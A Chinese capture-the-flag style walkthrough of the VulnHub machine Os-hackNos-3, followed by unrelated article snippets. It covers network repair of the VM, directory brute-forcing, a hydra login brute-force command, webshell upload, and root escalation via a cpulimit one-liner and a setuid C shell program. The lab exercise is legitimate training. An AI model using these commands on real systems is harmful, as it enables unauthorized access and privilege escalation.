vulnhub-Os-hackNos-3(包含多种靶机获取不了IP地址情况)

下载靶机

通过VMware搭建 网络问题是个关键点

我们点击开启虚拟机,到开机的页面我们回车选择第二个Ubuntu的高级选项 (如果出不来这个选择界面,开机时按下shift键)

进到高级选项,我们再次回车选择第二个进入Linux内核版本的恢复模式

回车后会弹出选择界面,我们选择root回车

出现下面Press Enter for maintenance后再次回车进入命令行模式

首先在命令行输入mount -o rw,remount / ,否则后面可能无法保存网络配置文件 然后继续输入命令 vi /etc/network/interfaces修改网络配置文件,我看可以看到配置文件中网卡信息与实际信息不符

更改实际网卡名称

第二张情况

开机,按e进入安全模式

找到ro ,将ro及后面内容修改为 rw signie init=/bin/bash

修改完成后,按ctrl+x进入bash

修改网卡配置文件,将配置文件中网卡改为ens33(根据实际网卡修改) vi /etc/network/interfacers

修改完成后,输入:wq保存退出后重启系统 如果发现没有interfacers文件,则按照下面方法 进入/etc/netplan

cd /etc/netplan

ls

nano ls出来的文件

将yaml配置文件中网卡名修改为实际查到的网卡名,ctrl+x保存后重启即可

靶机重启后,我们再次在kali上使用arp-scan -l 命令,可以看到已经收集到靶机的IP

确认靶机后扫描开放端口

扫描目录路径

这里也可以使用gobuster爆破

gobuster dir -u http://192.168.0.4/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100

访问

翻翻看有个邮箱地址

可以尝试爆破二级目录

gobuster dir -u http://192.168.0.4/websec -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100

发现关键点admin

使用cewl爬取/websec/页面制作密码字典

使用hydra工具爆破密码,用户名就用邮箱名字:contact@hacknos.com

hydra -l contact@hacknos.com -P oshacknos1.txt 192.168.0.4 http-post-form "/websec/login:username=^USER^&password=^PASS^:Wrong email or password" -V

获取密码

Securityx

成功登录

文件上传点

在Content>>File Manager处进入tmp目录编辑.htaccess文件,将里面的内容全部删除点击Save并进入tmp/media_thumb/目录下上传一句话文件:

开始提权

反弹shell

获取交互shell

查看是否存在可以提权的命令

find /usr/bin -type f -perm -u=s 2>/dev/null

在/var/local/database中发现了经过加密的内容

Expenses

Software Licenses,$2.78

Maintenance,$68.87

Mortgage Interest,$70.35

Advertising,$9.78

Phone,$406.80

Insurance,$9.04

Opss;fackespreadsheet

对密文进行解密,得到密码明文Security@x@

fackespreadsheet

https://www.spammimic.com/spreadsheet.php

查看是否存在可以提权的命令登录用户blackdevil,该用户是在/home目录下发现的,然后用sudo提权

提权方法二:

cpulimit -l 100 -f -- /bin/sh -p

提权方法三:

发现cpulimit 命令,尝试用cpulimit提权

一个用户调整CPU使用的命令,cpulimit`命令主要对长期运行的和 CPU 密集型的进程有用

#include<stdio.h>

#include<unistd.h>

#include<stdlib.h>

int main()

{

  setuid(0);

  setgid(0);

  system("/bin/bash");

  return 0;

}

将上面的代码编译为exp,上传之后使用添加运行权限

gcc cpu.c -o exp

chmod 777 exp

使用cpulimit -l 100 -f ./exp进行提权

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/1475154.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

BaseServlet的封装

创建BaseServlet的必要性 如果不创建BaseServlet&#xff0c;现在我们只要实现一个功能&#xff0c;我们就需要创建一个servlet! 例如:用户模块(登录&#xff0c;注册&#xff0c;退出录&#xff0c;激活&#xff0c;发送邮件等等功能) 也就是说&#xff0c;我们必须要创建一…

Vue3使用ref绑定组件获取valueRef.value为null的解决

问题&#xff1a; onMounted(() > {nextTick(()>{console.log(treeselectRef, treeselectRef.value);console.log(treeselectRef.value, treeselectRef.value);}); });输出&#xff1a; 查看绑定和定义都没有问题&#xff0c;还是获取不到 解决&#xff1a;使用getCur…

YOLOv5+DecoupleHead解耦头(YOLOx)

一、解耦头原理 在目标检测中,分类任务和回归任务之间的冲突是一个众所周知的问题。因此,用于分类和定位的解耦头被广泛应用于大多数一级和二级探测器。但是,由于YOLO系列的主干和特征金字塔(如FPN, PAN)不断演化,它们的检测头仍然是耦合的。 从下表可以看出,头耦合时端…

leetcode 1398 购买了产品A和产品B却没有购买产品C的顾客(postgresql)

需求 Customers 表&#xff1a; ---------------------------- | Column Name | Type | ---------------------------- | customer_id | int | | customer_name | varchar | ---------------------------- customer_id 是这张表的主键。 customer_name 是顾客的名称。 Order…

水果商城系统 SpringBoot+Vue

1、技术栈 技术栈&#xff1a;SpringBootVueMybatis等使用环境&#xff1a;Windows10 谷歌浏览器开发环境&#xff1a;jdk1.8 Maven mysql Idea 数据库仅供学习参考 【已经答辩过的毕业设计】 项目源码地址 2、功能划分 3、效果演示

【软件分享】我们为分类而生—eCognition

分类是各位小伙伴入门遥感需要做的一项基础的工作&#xff0c;在进行遥感影像中的地物进行分类和提取时&#xff0c;如何提高分类精度&#xff0c;常常令人头疼。今天小编带来此前接触过的一个工具&#xff0c;他的名字是—eCognition&#xff0c;感觉比ENVI好用&#xff0c;在…

gui创新点charts图表

import javax.swing.*; import java.awt.*;public class ComboChartExample extends JPanel {Overrideprotected void paintComponent(Graphics g) {super.paintComponent(g);// 数据int[] values {100, 200, 150, 300, 250};int[] lineValues {120, 180, 160, 280, 230};Str…

掌上教务系统-计算机毕业设计源码84604

摘要 在数字化教育日益成为主流的今天&#xff0c;教务管理系统的智能化和便捷性显得尤为重要。为满足学校、教师、学生及家长对教务管理的高效需求&#xff0c;我们基于Spring Boot框架设计并实现了一款掌上教务系统。该系统不仅具备课程分类管理功能&#xff0c;使各类课程信…

Git 查看、新建、删除、切换分支

Git 是一个版本控制系统&#xff0c;软件开发者用它来跟踪应用程序的变化并进行项目协作。 分支的诞生便于开发人员在彼此独立的环境中进行开发工作。主分支&#xff08;通常是 main 或 master&#xff09;可以保持稳定&#xff0c;而新的功能或修复可以在单独的分支中进行开发…

猫咪健康新选择!福派斯鲜肉猫粮里的果蔬纤维大揭秘

你们是不是对福派斯鲜肉猫粮中那些丰富的果蔬粗纤维特别好奇呢&#xff1f;&#x1f914; 其实&#xff0c;这些看似简单的粗纤维&#xff0c;对猫咪的健康可是大有裨益的&#xff01; 粗纤维在猫粮中起到多种重要作用&#xff0c;并且对猫咪的健康和消化系统有着显著的影响。以…

运维系列.Nginx中使用HTTP压缩功能

运维专题 Nginx中使用HTTP压缩功能 - 文章信息 - Author: 李俊才 (jcLee95) Visit me at CSDN: https://jclee95.blog.csdn.netMy WebSite&#xff1a;http://thispage.tech/Email: 291148484163.com. Shenzhen ChinaAddress of this article:https://blog.csdn.net/qq_28550…

linux 安装Openjdk1.8

一、在线安装 1、更新软件包 sudo apt-get update 2、安装openjdk sudo apt-get install openjdk-8-jdk 3、配置openjdk1.8 openjdk默认会安装在/usr/lib/jvm/java-8-openjdk-amd64 vim ~/.bashrc export JAVA_HOME/usr/lib/jvm/java-8-openjdk-amd64 export JRE_HOME${J…

计算机网络-组播数据转发原理

一、组播数据转发原理 前面已经学习了组播的基本概念和网络组成结构了&#xff0c;今天来学习下组播数据的转发。首先我们要先明确组播网络也是和单播一样需要网络可达的&#xff0c;因此也是需要单播网络支持的基础上配置组播转发数据。单播网络不通组播网络就没有意义了。 组…

docker 本地部署大模型(ollama)

docker 安装 ollama docker search ollama docker pull ollama/ollama###docker下载ollama部署 docker run -d -v ollama:/root/.ollama -p 11434:11434 --name ollama ollama/ollama### 下载模型 docker exec -it ollama ollama pull llama3### 交互式运行模型docker exec -i…

Python采集京东标题,店铺,销量,价格,SKU,评论,图片

京东的许多数据是通过 JavaScript 动态加载的&#xff0c;包括销量、价格、评论和评论时间等信息。我们无法仅通过传统的静态网页爬取方法获取到这些数据。需要使用到如 Selenium 或 Pyppeteer 等能够模拟浏览器行为的工具。 另外&#xff0c;京东的评论系统是独立的一个系统&a…

SCI一区TOP|准随机分形搜索算法(QRFS)原理及实现【免费获取Matlab代码】

目录 1.背景2.算法原理2.1算法思想2.2算法过程 3.结果展示4.参考文献5.代码获取 1.背景 2024年&#xff0c;LA Beltran受到分形几何、低差异序列启发&#xff0c;提出了准随机分形搜索算法&#xff08;Quasi-random Fractal Search, QRFS&#xff09;。 2.算法原理 2.1算法思…

本地图片压缩工具

一、简介 1、一款免费的本地图片压缩工具,支持多种图片格式并且没有体积限制,支持批量压缩。本地运行的方式保护了图片的隐私。它兼容 JPG、PNG、GIF、SVG 等多种格式,并允许用户设置压缩强度、尺寸和输出格式 二、下载 1、文末有下载链接,不明白可以私聊我哈(麻烦咚咚咚,…

一.2.(4)放大电路静态工作点的稳定;

1.Rb对Q点及Au的影响 输入特性曲线&#xff1a;Rb减少&#xff0c;IBQ&#xff0c;UBEQ增大 输出特性曲线&#xff1a;ICQ增大&#xff0c;UCEQ减少 AUUO/Ui分子减少&#xff0c;分母增大&#xff0c;但由于分子带负号&#xff0c;所以|Au|减少 2.Rc对Q点及Au的影响 输入特性曲…

【TB作品】51单片机 Proteus仿真00016 乒乓球游戏机

课题任务 本课题任务 (联机乒乓球游戏)如下图所示: 同步显示 oo 8个LED ooooo oo ooooo 8个LED 单片机 单片机 按键 主机 从机 按键 设计题目:两机联机乒乓球游戏 图1课题任务示意图 具体说明: 共有两个单片机,每个单片机接8个LED和1 个按键,两个单片机使用串口连接。 (2)单片机…

UE C++ 多镜头设置缩放 平移

一.整体思路 首先需要在 想要控制的躯体Pawn上&#xff0c;生成不同相机对应的SpringArm组件。其次是在Controller上&#xff0c;拿到这个Pawn&#xff0c;并在其中设置输入响应&#xff0c;并定义响应事件。响应事件里有指向Pawn的指针&#xff0c;并把Pawn的缩放平移功能进行…